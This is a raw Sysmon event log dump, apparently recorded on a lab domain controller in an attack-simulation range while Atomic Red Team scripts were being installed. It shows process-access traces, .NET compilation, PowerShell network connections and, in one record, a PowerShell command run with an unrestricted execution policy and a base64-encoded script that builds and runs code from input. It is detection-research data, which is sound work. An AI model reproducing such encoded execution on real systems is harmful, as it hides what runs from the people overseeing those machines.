09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003569Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003568Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003567Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003566Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003565Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2909-5F80-B700-000000007F01}4972C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003564Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-2909-5F80-B600-000000007F01}8084688C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2909-5F80-B700-000000007F01}4972C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003563Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.183{A5F018FF-2909-5F80-B700-000000007F01}4972C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES3C29.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCE4F770736B6F44D5975FB655BA2655.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2909-5F80-B600-000000007F01}808C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\nc4tn1mb.cmdline" 354300x80000000000000003562Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.545{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56385-false152.199.19.161-443https 354300x80000000000000003561Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.527{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56384-false23.14.244.112a23-14-244-112.deploy.static.akamaitechnologies.com443https 10341000x80000000000000003560Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2909-5F80-B600-000000007F01}808C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003559Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003558Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003557Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003556Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003555Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003554Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003553Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003552Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003551Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003550Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2909-5F80-B600-000000007F01}808C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003549Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-2908-5F80-B400-000000007F01}44722960C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2909-5F80-B600-000000007F01}808C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA906B68F) 154100x80000000000000003548Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.093{A5F018FF-2909-5F80-B600-000000007F01}808C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\nc4tn1mb.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000003547Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.083{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\nc4tn1mb.cmdline2020-10-09 09:10:33.083 11241100x80000000000000003546Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:33.083{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\nc4tn1mb.dll2020-10-09 09:10:33.083 11241100x80000000000000003616Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.864{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\install-atomicsfolder.ps12020-10-09 09:10:34.864 11241100x80000000000000003615Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\install-atomicredteam.ps12020-10-09 09:10:34.848 11241100x80000000000000003614Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Public\Start-AtomicGUI.ps12020-10-09 09:10:34.848 11241100x80000000000000003613Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Public\New-Atomic.ps12020-10-09 09:10:34.848 11241100x80000000000000003612Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:34.848{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\invoke-atomicredteam-master\Public\Invoke-WebRequestVerifyHash.ps12020-10-09 09:10:34.848 11241100x80000000000000003611Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 